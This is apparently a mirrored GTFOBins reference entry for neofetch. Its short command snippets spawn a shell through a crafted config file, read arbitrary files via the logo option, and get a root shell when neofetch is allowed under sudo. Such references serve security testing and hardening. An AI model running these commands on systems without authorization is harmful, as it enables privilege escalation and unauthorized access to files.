1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/neofetch.md

19 lines
496 B
Markdown
Raw Permalink Normal View History

---
functions:
shell:
- code: |
TF=$(mktemp)
echo 'exec /bin/sh' >$TF
neofetch --config $TF
file-read:
- description: The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files.
code: |
LFILE=file_to_read
neofetch --ascii $LFILE
sudo:
- code: |
TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF
---